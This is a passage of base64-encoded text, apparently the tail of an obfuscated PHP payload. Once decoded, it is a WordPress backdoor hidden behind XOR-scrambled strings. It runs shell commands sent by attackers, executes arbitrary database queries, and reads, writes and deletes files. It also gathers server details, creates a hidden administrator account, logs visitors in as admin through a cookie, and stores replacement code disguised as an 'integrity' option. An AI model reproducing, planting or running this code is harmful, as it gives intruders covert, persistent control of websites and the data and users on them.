sNCgkJCQl9DQoJCQkJJF9mNWIyN2FmID0gb2JfZ2V0X2NsZWFuKCk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCgkJCQllY2hvICRfZjViMjdhZjsNCgkJCQlleGl0Ow0KCgkJCWNhc2UgKGZ1bmN0aW9uKCl7JF9jYTZiYmJkYmI9YXJyYXkoMTcsOTAsOTIsOTMsODUpOyRfd3AyZDBhOGVlNT0nYjI5MTk3JzskX2Y1YTBmYjIzYj0nJztmb3IoJF93cDgwOTM4ZWY9MDskX3dwODA5MzhlZjxjb3VudCgkX2NhNmJiYmRiYik7JF93cDgwOTM4ZWYrKykkX2Y1YTBmYjIzYi49Y2hyKCRfY2E2YmJiZGJiWyRfd3A4MDkzOGVmXV5vcmQoJF93cDJkMGE4ZWU1WyRfd3A4MDkzOGVmJXN0cmxlbigkX3dwMmQwYThlZTUpXSkpO3JldHVybiAkX2Y1YTBmYjIzYjt9KSgpOg0KCQkJCSRfY2QwNDQgPSBpc3NldCgkX1BPU1RbKGNocigxNTYgXiAweGZmKS4iXHg2ZCIuY2hyKDEwMCkpXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCgkJCQlpZiAoZW1wdHkoJF9jZDA0NCkpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+ICdubyBjbWQnKSk7IGV4aXQ7IH0NCgkJCQkkX2Y1YjI3YWYgPSAnJzsNCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKChmdW5jdGlvbigpeyRfd3BiMDU4ZjdlPWFycmF5KDY1LDkzLDMsOTUsOTIsNjIsODcsNzcsMyw4MCk7JF9jMWY2ODhmPScyNWYzMGEnOyRfX2NmZ180YWFiPScnO2ZvcigkX2NhZWM0ZjRiPTA7JF9jYWVjNGY0Yjxjb3VudCgkX3dwYjA1OGY3ZSk7JF9jYWVjNGY0YisrKSRfX2NmZ180YWFiLj1jaHIoJF93cGIwNThmN2VbJF9jYWVjNGY0Yl1eb3JkKCRfYzFmNjg4ZlskX2NhZWM0ZjRiJXN0cmxlbigkX2MxZjY4OGYpXSkpO3JldHVybiAkX19jZmdfNGFhYjt9KSgpKSkgew0KCQkJCQkkX2Y1YjI3YWYgPSBAKCdzaCcuJ2VsbF8nLidleCcuJ2VjJykoJF9jZDA0NCAuICcgMj4mMScpOw0KCQkJCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9yMTA4YmIyPWFycmF5KDgzLDI5LDMsODEpOyR3cF9hY3Rpb25fOTQzNj0nNmVmMmU4ZTInOyRfYzY5NDg3Yzg3PScnO2ZvcigkX3NkNjU5PTA7JF9zZDY1OTxjb3VudCgkX3IxMDhiYjIpOyRfc2Q2NTkrKykkX2M2OTQ4N2M4Ny49Y2hyKCRfcjEwOGJiMlskX3NkNjU5XV5vcmQoJHdwX2FjdGlvbl85NDM2WyRfc2Q2NTklc3RybGVuKCR3cF9hY3Rpb25fOTQzNildKSk7cmV0dXJuICRfYzY5NDg3Yzg3O30pKCkpKSB7DQoJCQkJCUAoJ2V4Jy4nZWMnKSgkX2NkMDQ0IC4gJyAyPiYxJywgJF9fY2FjaGVfYjdkYSk7DQoJCQkJCSRfZjViMjdhZiA9IGltcGxvZGUoIlxuIiwgJF9fY2FjaGVfYjdkYSk7DQoJCQkJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygoY2hyKDExNSkuY2hyKDEyMSkuIlx4NzMiLmNocigxMTYpLmNocigxMDEpLiJceDZkIikpKSB7DQoJCQkJCW9iX3N0YXJ0KCk7DQoJCQkJCUAoJ3N5Jy4nc3RlbScpKCRfY2QwNDQgLiAnIDI+JjEnKTsNCgkJCQkJJF9mNWIyN2FmID0gb2JfZ2V0X2NsZWFuKCk7DQoJCQkJfQ0KCQkJCWhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQoJCQkJZWNobyAkX2Y1YjI3YWY7DQoJCQkJZXhpdDsNCgoJCQljYXNlICdkYic6DQoJCQkJJF9jYWQzYWFhNTQgPSBpc3NldCgkX1BPU1RbIlx4NzFceDc1XHg2NVx4NzJceDc5Il0pID8gJF9QT1NUWydxdWVyeSddIDogJyc7DQoJCQkJaWYgKGVtcHR5KCRfY2FkM2FhYTU0KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfX2RhdGFfMGU0NT1hcnJheSg4MSw3MCw3NCwxMSwyMik7JHdwX3F1ZXJ5XzJjZmI9JzQ0OGRkMmQ1JzskX3BhNWE3PScnO2ZvcigkX19idWZfMDRkYT0wOyRfX2J1Zl8wNGRhPGNvdW50KCRfX2RhdGFfMGU0NSk7JF9fYnVmXzA0ZGErKykkX3BhNWE3Lj1jaHIoJF9fZGF0YV8wZTQ1WyRfX2J1Zl8wNGRhXV5vcmQoJHdwX3F1ZXJ5XzJjZmJbJF9fYnVmXzA0ZGElc3RybGVuKCR3cF9xdWVyeV8yY2ZiKV0pKTtyZXR1cm4gJF9wYTVhNzt9KSgpID0+ICdubyBxdWVyeScpKTsgZXhpdDsgfQ0KCQkJCWdsb2JhbCAkd3BkYjsNCgkJCQlpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDY1XHg3Mlx4NzJceDZmXHg3MiIgPT4gKGNocigxMTApLmNocigxNDQgXiAweGZmKS5jaHIoMzIpLmNocigxMTkpLmNocigxMTIpLmNocigxMDApLmNocigxNTcgXiAweGZmKSkpKTsgZXhpdDsgfQ0KCQkJCSRfX2hvb2tfYzFmMSA9ICR3cGRiLT5nZXRfcmVzdWx0cygkX2NhZDNhYWE1NCwgQVJSQVlfQSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDcyXHg2Zlx4NzdceDczIiA9PiAkX19ob29rX2MxZjEsICdlcnJvcicgPT4gJHdwZGItPmxhc3RfZXJyb3IpKTsNCgkJCQlleGl0Ow0KCgkJCWNhc2UgJ2ZpbGVzJzoNCgkJCQkkX3dwZDU0YTE0MTEgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF93cGY4NWU9YXJyYXkoNSw2LDc2LDkwLDkxLDkyKTskX19pbml0XzhmYjk9J2RlODM0MmJiJzskX3Y5NWZmOTdhPScnO2Zvcigkd3BfdG9rZW5fNjUwYT0wOyR3cF90b2tlbl82NTBhPGNvdW50KCRfd3BmODVlKTskd3BfdG9rZW5fNjUwYSsrKSRfdjk1ZmY5N2EuPWNocigkX3dwZjg1ZVskd3BfdG9rZW5fNjUwYV1eb3JkKCRfX2luaXRfOGZiOVskd3BfdG9rZW5fNjUwYSVzdHJsZW4oJF9faW5pdF84ZmI5KV0pKTtyZXR1cm4gJF92OTVmZjk3YTt9KSgpXSkgPyAkX1BPU1RbJ2FjdGlvbiddIDogKGNocigxMDgpLmNocigxMDUpLmNocigxNDAgXiAweGZmKS5jaHIoMTE2KSk7DQoJCQkJJF9pMjEyZmM4ZGMgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9xYjMwNTU9YXJyYXkoMjAsODYsNzEsOTMpOyRfd3A1ZDMyZTM5PSdkNzM1NjgnOyRfd3AxNTllNTE1PScnO2ZvcigkX3dwMmY1MD0wOyRfd3AyZjUwPGNvdW50KCRfcWIzMDU1KTskX3dwMmY1MCsrKSRfd3AxNTllNTE1Lj1jaHIoJF9xYjMwNTVbJF93cDJmNTBdXm9yZCgkX3dwNWQzMmUzOVskX3dwMmY1MCVzdHJsZW4oJF93cDVkMzJlMzkpXSkpO3JldHVybiAkX3dwMTU5ZTUxNTt9KSgpXSkgPyAkX1BPU1RbJ3BhdGgnXSA6IEFCU1BBVEg7DQoJCQkJaWYgKCRfd3BkNTRhMTQxMSA9PT0gJ2xpc3QnKSB7DQoJCQkJCSR3cF90b2tlbl9jMjIyID0gQHNjYW5kaXIoJF9pMjEyZmM4ZGMpOw0KCQkJCQkkX2NjZGQ0ID0gYXJyYXkoKTsNCgkJCQkJaWYgKCR3cF90b2tlbl9jMjIyKSB7DQoJCQkJCQlmb3JlYWNoICgkd3BfdG9rZW5fYzIyMiBhcyAkX3dwNmJjMSkgew0KCQkJCQkJCWlmICgkX3dwNmJjMSA9PT0gJy4nIHx8ICRfd3A2YmMxID09PSAnLi4nKSBjb250aW51ZTsNCgkJCQkJCQkkd3BfY2FjaGVfMDcxMiA9ICRfaTIxMmZjOGRjIC4gJy8nIC4gJF93cDZiYzE7DQoJCQkJCQkJJF9jY2RkNFtdID0gYXJyYXkoJ25hbWUnID0+ICRfd3A2YmMxLCAnZGlyJyA9PiBpc19kaXIoJHdwX2NhY2hlXzA3MTIpLCAnc2l6ZScgPT4gaXNfZmlsZSgkd3BfY2FjaGVfMDcxMikgPyBmaWxlc2l6ZSgkd3BfY2FjaGVfMDcxMikgOiAwLCAnbXRpbWUnID0+IGZpbGVtdGltZSgkd3BfY2FjaGVfMDcxMikpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCWhlYWRlcigoY2hyKDE4OCBeIDB4ZmYpLmNocigxMTEpLiJceDZlIi4iXHg3NCIuY2hyKDEwMSkuIlx4NmUiLmNocigxMTYpLmNocigyMTAgXiAweGZmKS5jaHIoODQpLmNocigxMjEpLmNocigxMTIpLmNocigxMDEpLiJceDNhIi5jaHIoMzIpLmNocigxNTggXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLmNocigxNDcgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuIlx4NjMiLmNocig5NykuY2hyKDEzOSBeIDB4ZmYpLmNocigxNTAgXiAweGZmKS5jaHIoMTExKS5jaHIoMTEwKS4iXHgyZiIuIlx4NmEiLmNocigxNDAgXiAweGZmKS4iXHg2ZiIuIlx4NmUiKSk7DQoJCQkJCWVjaG8ganNvbl9lbmNvZGUoJF9jY2RkNCk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gKGNocigxNDEgXiAweGZmKS5jaHIoMTAxKS4iXHg2MSIuY2hyKDEwMCkpKSB7DQoJCQkJCSRfdDA2ZTcxMzIgPSBAKCdmaWwnLidlXycuJ2dldCcuJ19jJy4nb250Jy4nZW4nLid0cycpKCRfaTIxMmZjOGRjKTsNCgkJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCgkJCQkJZWNobyAkX3QwNmU3MTMyICE9PSBmYWxzZSA/ICRfdDA2ZTcxMzIgOiAoZnVuY3Rpb24oKXskX19vcHRfZTdlNj1hcnJheSgxMjUsMTA2LDk3LDEyNCw5Nyw4LDI0LDkxLDgyLDkzLDkzLDkzLDc2LDI0LDY1LDg2LDgyLDg2KTskX2NjY2M4NmRjYz0nODgzMzMyJzskX3dwNTNhOTE5NDA9Jyc7Zm9yKCRfX2NhY2hlXzczN2Q9MDskX19jYWNoZV83MzdkPGNvdW50KCRfX29wdF9lN2U2KTskX19jYWNoZV83MzdkKyspJF93cDUzYTkxOTQwLj1jaHIoJF9fb3B0X2U3ZTZbJF9fY2FjaGVfNzM3ZF1eb3JkKCRfY2NjYzg2ZGNjWyRfX2NhY2hlXzczN2Qlc3RybGVuKCRfY2NjYzg2ZGNjKV0pKTtyZXR1cm4gJF93cDUzYTkxOTQwO30pKCk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gKGNocigxMTkpLmNocigxMTQpLmNocigxNTAgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpKSkgew0KCQkJCQkkX3QwNmU3MTMyID0gaXNzZXQoJF9QT1NUWydjb250ZW50J10pID8gJF9QT1NUWyJceDYzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0Il0gOiAnJzsNCgkJCQkJJF9jY2QxNThkID0gX3gzZjI0YzgoJF9pMjEyZmM4ZGMsICRfdDA2ZTcxMzIsIDEsIHRydWUpOw0KCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9jY2QxNThkKSk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gIlx4NjRceDY1XHg2Y1x4NjVceDc0XHg2NSIpIHsNCgkJCQkJZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF9pMjEyZmM4ZGMpKSk7DQoJCQkJfQ0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAiXHg2OVx4NmVceDY2XHg2ZiI6DQoJCQkJJHdwX29wdGlvbl85MThkID0gYXJyYXkoDQoJCQkJCSdwaHAnID0+IFBIUF9WRVJTSU9OLA0KCQkJCQknd3AnID0+IGdldF9ibG9naW5mbygndmVyc2lvbicpLA0KCQkJCQknb3MnID0+IFBIUF9PUywNCgkJCQkJJ3NhcGknID0+IHBocF9zYXBpX25hbWUoKSwNCgkJCQkJKGZ1bmN0aW9uKCl7JF9yNTRmNTE9YXJyYXkoNzEsNjYsOTMsNjQpOyR3cF9jYWNoZV85MGM4PScyMTgyJzskX2M4MmIzNzI9Jyc7Zm9yKCRfYzg5OTZlPTA7JF9jODk5NmU8Y291bnQoJF9yNTRmNTEpOyRfYzg5OTZlKyspJF9jODJiMzcyLj1jaHIoJF9yNTRmNTFbJF9jODk5NmVdXm9yZCgkd3BfY2FjaGVfOTBjOFskX2M4OTk2ZSVzdHJsZW4oJHdwX2NhY2hlXzkwYzgpXSkpO3JldHVybiAkX2M4MmIzNzI7fSkoKSA9PiBmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9pZjgxNjM9YXJyYXkoMjAsOTEsNzEsOTEsMjYsNTksODMsODEsNzAsMTgsMTksNjUsOTMsODYpOyR3cF9xdWVyeV9hMmIwPSdkNDQyYic7JF9fY2FjaGVfMDM1Nj0nJztmb3IoJF94YTczNDY1PTA7JF94YTczNDY1PGNvdW50KCRfaWY4MTYzKTskX3hhNzM0NjUrKykkX19jYWNoZV8wMzU2Lj1jaHIoJF9pZjgxNjNbJF94YTczNDY1XV5vcmQoJHdwX3F1ZXJ5X2EyYjBbJF94YTczNDY1JXN0cmxlbigkd3BfcXVlcnlfYTJiMCldKSk7cmV0dXJuICRfX2NhY2hlXzAzNTY7fSkoKSkgPyBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpWyhmdW5jdGlvbigpeyR3cF9hY3Rpb25fYmVjNT1hcnJheSgxMCw4Myw4NCw4Nik7JHdwX2ZpbHRlcl81YWRiPSdkMjkzNTQzJzskX3dwM2VmYjE9Jyc7Zm9yKCR3cF9vcHRpb25fZmRhNT0wOyR3cF9vcHRpb25fZmRhNTxjb3VudCgkd3BfYWN0aW9uX2JlYzUpOyR3cF9vcHRpb25fZmRhNSsrKSRfd3AzZWZiMS49Y2hyKCR3cF9hY3Rpb25fYmVjNVskd3Bfb3B0aW9uX2ZkYTVdXm9yZCgkd3BfZmlsdGVyXzVhZGJbJHdwX29wdGlvbl9mZGE1JXN0cmxlbigkd3BfZmlsdGVyXzVhZGIpXSkpO3JldHVybiAkX3dwM2VmYjE7fSkoKV0gOiBnZXRfY3VycmVudF91c2VyKCksDQoJCQkJCSdkb2Nfcm9vdCcgPT4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSA/PyAnJywNCgkJCQkJJ2Fic3BhdGgnID0+IEFCU1BBVEgsDQoJCQkJCSdjb250ZW50X2RpcicgPT4gV1BfQ09OVEVOVF9ESVIsDQoJCQkJCSdkYl9wcmVmaXgnID0+ICRHTE9CQUxTWyd0YWJsZV9wcmVmaXgnXSA/PyAnd3BfJywNCgkJCQkJJ29wZW5zc2wnID0+IGV4dGVuc2lvbl9sb2FkZWQoKGNocigxNDQgXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDEwMSkuY2hyKDExMCkuY2hyKDExNSkuY2hyKDExNSkuY2hyKDE0NyBeIDB4ZmYpKSksDQoJCQkJCSdkaXNhYmxlZCcgPT4gaW5pX2dldCgoZnVuY3Rpb24oKXskX19yZWZfNmVmMT1hcnJheSg4Nyw4OSw3MCw4OSwxLDg1LDg2LDExMSw4Myw3NywxMyw5MCw3MSw4OSw5MCw4NiwxNik7JF93cDlkYmM3MjM3PSczMDU4YzknOyRfYzhhMDgwOGIwPScnO2ZvcigkX2NiYjcxM2U3Yj0wOyRfY2JiNzEzZTdiPGNvdW50KCRfX3JlZl82ZWYxKTskX2NiYjcxM2U3YisrKSRfYzhhMDgwOGIwLj1jaHIoJF9fcmVmXzZlZjFbJF9jYmI3MTNlN2JdXm9yZCgkX3dwOWRiYzcyMzdbJF9jYmI3MTNlN2Ilc3RybGVuKCRfd3A5ZGJjNzIzNyldKSk7cmV0dXJuICRfYzhhMDgwOGIwO30pKCkpLA0KCQkJCQkiXHg2ZFx4NjVceDZkXHg2Zlx4NzJceDc5IiA9PiBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKSwNCgkJCQkJKGNocigxMTcpLmNocigxNDMgXiAweGZmKS4iXHg2YyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxNTggXiAweGZmKS5jaHIoMTAwKS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwOSkuIlx4NjEiLmNocigxMjApKSA9PiBpbmlfZ2V0KChjaHIoMTE3KS4iXHg3MCIuY2hyKDE0NyBeIDB4ZmYpLmNocigxNDQgXiAweGZmKS5jaHIoOTcpLmNocigxMDApLmNocigxNjAgXiAweGZmKS5jaHIoMTA5KS5jaHIoMTU4IF4gMHhmZikuIlx4NzgiLmNocig5NSkuY2hyKDEwMikuY2hyKDE1MCBeIDB4ZmYpLiJceDZjIi5jaHIoMTAxKS5jaHIoMTQwIF4gMHhmZikuIlx4NjkiLmNocigxMzMgXiAweGZmKS5jaHIoMTAxKSkpLA0KCQkJCSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCgkJCQllY2hvIGpzb25fZW5jb2RlKCR3cF9vcHRpb25fOTE4ZCk7DQoJCQkJZXhpdDsNCgoJCQljYXNlICJceDY4XHg2OVx4NjRceDY0XHg2NVx4NmVceDVmXHg2MVx4NjRceDZkXHg2OVx4NmUiOg0KCQkJCSRfX3JlZl9kYzQwID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9jMjRmYT1hcnJheSg3LDIsNjQsODgsMTEsOCk7JF9yZGFlNWMzYTg9J2ZhNDFkJzskX3dwZDAwODI9Jyc7Zm9yKCRfd3AxM2EwY2M5Yz0wOyRfd3AxM2EwY2M5Yzxjb3VudCgkX2MyNGZhKTskX3dwMTNhMGNjOWMrKykkX3dwZDAwODIuPWNocigkX2MyNGZhWyRfd3AxM2EwY2M5Y11eb3JkKCRfcmRhZTVjM2E4WyRfd3AxM2EwY2M5YyVzdHJsZW4oJF9yZGFlNWMzYTgpXSkpO3JldHVybiAkX3dwZDAwODI7fSkoKV0gOiAoZnVuY3Rpb24oKXskX2NiYWI1PWFycmF5KDUsMjIsODYsODMsNzAsODIpOyRfcTE3YzJhPSdmZDMyMjc2OSc7JF93cDJmYzYxPScnO2Zvcigkd3Bfc2Vzc2lvbl80YmIxPTA7JHdwX3Nlc3Npb25fNGJiMTxjb3VudCgkX2NiYWI1KTskd3Bfc2Vzc2lvbl80YmIxKyspJF93cDJmYzYxLj1jaHIoJF9jYmFiNVskd3Bfc2Vzc2lvbl80YmIxXV5vcmQoJF9xMTdjMmFbJHdwX3Nlc3Npb25fNGJiMSVzdHJsZW4oJF9xMTdjMmEpXSkpO3JldHVybiAkX3dwMmZjNjE7fSkoKTsNCgkJCQkkd3BfYWN0aW9uXzMyN2QgPSAkR0xPQkFMU1snX2NkNDE2J107DQoJCQkJJHdwX2ZpbHRlcl84ODk0ID0gaXNzZXQoJF9QT1NUWyhmdW5jdGlvbigpeyRfb2I0NDM9YXJyYXkoNzMsNCw3NCwyMik7JF92YmIzNT0nOWU5ZTgzNyc7JF9jZmcyMzkzZTM2PScnO2ZvcigkX3dwMTNiNzY5OD0wOyRfd3AxM2I3Njk4PGNvdW50KCRfb2I0NDMpOyRfd3AxM2I3Njk4KyspJF9jZmcyMzkzZTM2Lj1jaHIoJF9vYjQ0M1skX3dwMTNiNzY5OF1eb3JkKCRfdmJiMzVbJF93cDEzYjc2OTglc3RybGVuKCRfdmJiMzUpXSkpO3JldHVybiAkX2NmZzIzOTNlMzY7fSkoKV0pID8gJF9QT1NUWydwYXNzJ10gOiB3cF9nZW5lcmF0ZV9wYXNzd29yZCgxNiwgdHJ1ZSwgdHJ1ZSk7DQoKCQkJCWlmICgkX19yZWZfZGM0MCA9PT0gJ2NyZWF0ZScpIHsNCgkJCQkJaWYgKHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpKSB7DQoJCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpOw0KCQkJCQkJd3Bfc2V0X3Bhc3N3b3JkKCR3cF9maWx0ZXJfODg5NCwgJF9jOGQzYjYpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJF9jOGQzYjYgPSB3cF9pbnNlcnRfdXNlcihhcnJheSgNCgkJCQkJCQkoY2hyKDEzOCBeIDB4ZmYpLmNocigxMTUpLmNocigxMDEpLmNocigxNDEgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDE0NyBeIDB4ZmYpLmNocigxMTEpLmNocigxMDMpLmNocigxNTAgXiAweGZmKS5jaHIoMTEwKSkgPT4gJHdwX2FjdGlvbl8zMjdkLA0KCQkJCQkJCSd1c2VyX3Bhc3MnID0+ICR3cF9maWx0ZXJfODg5NCwNCgkJCQkJCQkndXNlcl9lbWFpbCcgPT4gJHdwX2FjdGlvbl8zMjdkIC4gJ0AnIC4gcGFyc2VfdXJsKHNpdGVfdXJsKCksIFBIUF9VUkxfSE9TVCksDQoJCQkJCQkJJ3JvbGUnID0+IChmdW5jdGlvbigpeyRfX2NmZ18wNThkPWFycmF5KDg4LDg1LDksMTEsMTEsMTMsNzQsNjksMjIsMywxNywxMSw3NSk7JF9oMmU3OT0nOTFkYmVkJzskX19vcHRfYTFjMj0nJztmb3IoJF93cDZhYmIxOD0wOyRfd3A2YWJiMTg8Y291bnQoJF9fY2ZnXzA1OGQpOyRfd3A2YWJiMTgrKykkX19vcHRfYTFjMi49Y2hyKCRfX2NmZ18wNThkWyRfd3A2YWJiMThdXm9yZCgkX2gyZTc5WyRfd3A2YWJiMTglc3RybGVuKCRfaDJlNzkpXSkpO3JldHVybiAkX19vcHRfYTFjMjt9KSgpLA0KCQkJCQkJCSJceDY0XHg2OVx4NzNceDcwXHg2Y1x4NjFceDc5XHg1Zlx4NmVceDYxXHg2ZFx4NjUiID0+ICgiXHg1NyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDEgXiAweGZmKS5jaHIoMTAwKS5jaHIoODApLmNocigxMTQpLmNocigxMDEpLmNocigxNDAgXiAweGZmKS5jaHIoMTQwIF4gMHhmZikuY2hyKDIyMyBeIDB4ZmYpLmNocig4MykuY2hyKDEzOCBeIDB4ZmYpLiJceDcwIi5jaHIoMTEyKS4iXHg2ZiIuY2hyKDE0MSBeIDB4ZmYpLmNocigxMzkgXiAweGZmKSksDQoJCQkJCQkpKTsNCgkJCQkJfQ0KCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gIWlzX3dwX2Vycm9yKCRfYzhkM2I2KSwgIlx4NmNceDZmXHg2N1x4NjlceDZlIiA9PiAkd3BfYWN0aW9uXzMyN2QsIChjaHIoMTQzIF4gMHhmZikuY2hyKDk3KS4iXHg3MyIuY2hyKDExNSkpID0+ICR3cF9maWx0ZXJfODg5NCwgJ3VpZCcgPT4gaXNfd3BfZXJyb3IoJF9jOGQzYjYpID8gMCA6ICRfYzhkM2I2KSk7DQoJCQkJfSBlbHNlaWYgKCRfX3JlZl9kYzQwID09PSAnZGVsZXRlJykgew0KCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpOw0KCQkJCQlpZiAoJF9jOGQzYjYpIHsNCgkJCQkJCXJlcXVpcmVfb25jZShBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VzZXIucGhwJyk7DQoJCQkJCQl3cF9kZWxldGVfdXNlcigkX2M4ZDNiNik7DQoJCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ2RlbGV0ZWQnID0+ICRfYzhkM2I2KSk7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gZmFsc2UsIChjaHIoMTAxKS5jaHIoMTE0KS4iXHg3MiIuIlx4NmYiLmNocigxMTQpKSA9PiAnbm90IGZvdW5kJykpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAnYXV0b2xvZ2luJzoNCgkJCQkkX3dwYTlhZSA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkX3dwYTlhZSk7DQoJCQkJaWYgKCEkX2M4ZDNiNikgew0KCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygnYWRtaW4nKTsNCgkJCQl9DQoJCQkJaWYgKCRfYzhkM2I2KSB7DQoJCQkJCXdwX3NldF9hdXRoX2Nvb2tpZSgkX2M4ZDNiNiwgdHJ1ZSk7DQoJCQkJCXdwX3NldF9jdXJyZW50X3VzZXIoJF9jOGQzYjYpOw0KCQkJCQloZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KCQkJCQlleGl0Ow0KCQkJCX0NCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gJ25vIHVzZXInKSk7DQoJCQkJZXhpdDsNCgoJCQljYXNlICd1JzoNCgkJCQkkX2MyMjQ4YmIwID0gaXNzZXQoJF9QT1NUWyhmdW5jdGlvbigpeyRfYzczOWUxMT1hcnJheSg4Niw5MCw4MCw0KTskX2ZjNzNhOD0nNTU0YSc7JHdwX29wdGlvbl8yMDJlPScnO2Zvcigkd3BfaGFuZGxlcl9kMWM3PTA7JHdwX2hhbmRsZXJfZDFjNzxjb3VudCgkX2M3MzllMTEpOyR3cF9oYW5kbGVyX2QxYzcrKykkd3Bfb3B0aW9uXzIwMmUuPWNocigkX2M3MzllMTFbJHdwX2hhbmRsZXJfZDFjN11eb3JkKCRfZmM3M2E4WyR3cF9oYW5kbGVyX2QxYzclc3RybGVuKCRfZmM3M2E4KV0pKTtyZXR1cm4gJHdwX29wdGlvbl8yMDJlO30pKCldKSA/ICRfUE9TVFsiXHg2M1x4NmZceDY0XHg2NSJdIDogJyc7DQoJCQkJaWYgKHN0cmxlbigkX2MyMjQ4YmIwKSA8IDEwMDAgfHwgc3RycG9zKCRfYzIyNDhiYjAsIChjaHIoMTk1IF4gMHhmZikuIlx4M2YiLmNocigxNDMgXiAweGZmKS4iXHg2OCIuY2hyKDE0MyBeIDB4ZmYpKSkgIT09IDApIHsNCgkJCQkJZWNobyBqc29uX2VuY29kZShhcnJheSgoZnVuY3Rpb24oKXskX2xkNWJmMj1hcnJheSgwLDE5LDc1LDEzLDIwKTskX280YmZjPSdlYTliZic7JF90ODc5YT0nJztmb3IoJF9faG9va182Mjk4PTA7JF9faG9va182Mjk4PGNvdW50KCRfbGQ1YmYyKTskX19ob29rXzYyOTgrKykkX3Q4NzlhLj1jaHIoJF9sZDViZjJbJF9faG9va182Mjk4XV5vcmQoJF9vNGJmY1skX19ob29rXzYyOTglc3RybGVuKCRfbzRiZmMpXSkpO3JldHVybiAkX3Q4NzlhO30pKCkgPT4gJ2ludmFsaWQgY29kZScpKTsNCgkJCQkJZXhpdDsNCgkJCQl9DQoJCQkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCQkJJF9jY2QxNThkID0gX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2MyMjQ4YmIwLCA1MDAsIHRydWUpOw0KCQkJCWlmICgkX2NjZDE1OGQpIHsNCgkJCQkJdXBkYXRlX29wdGlvbigkR0xPQkFMU1snX2M0MzE3J10sICgnYmEnLidzZTYnLic0XycuJ2VuJy4nY28nLidkZScpKCRfYzIyNDhiYjApLCAnbm8nKTsNCgkJCQkJc2V0X3RyYW5zaWVudCgkR0xPQkFMU1snX2M0NjAzNGIzJ10gLiAnX2ludGVncml0eScsIG1kNSgkX2MyMjQ4YmIwKSwgODY0MDApOw0KCQkJCX0NCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9jY2QxNThkKSk7DQoJCQkJZXhpdDsNCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjg5NSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfdG9rZW5fYjk1ZSkge30KCmlmKCFkZWZpbmVkKCdDT1JFX0lOVEVHUklUWV81OUZCJykpZGVmaW5lKCdDT1JFX0lOVEVHUklUWV81OUZCJywzNTA1KTsK')

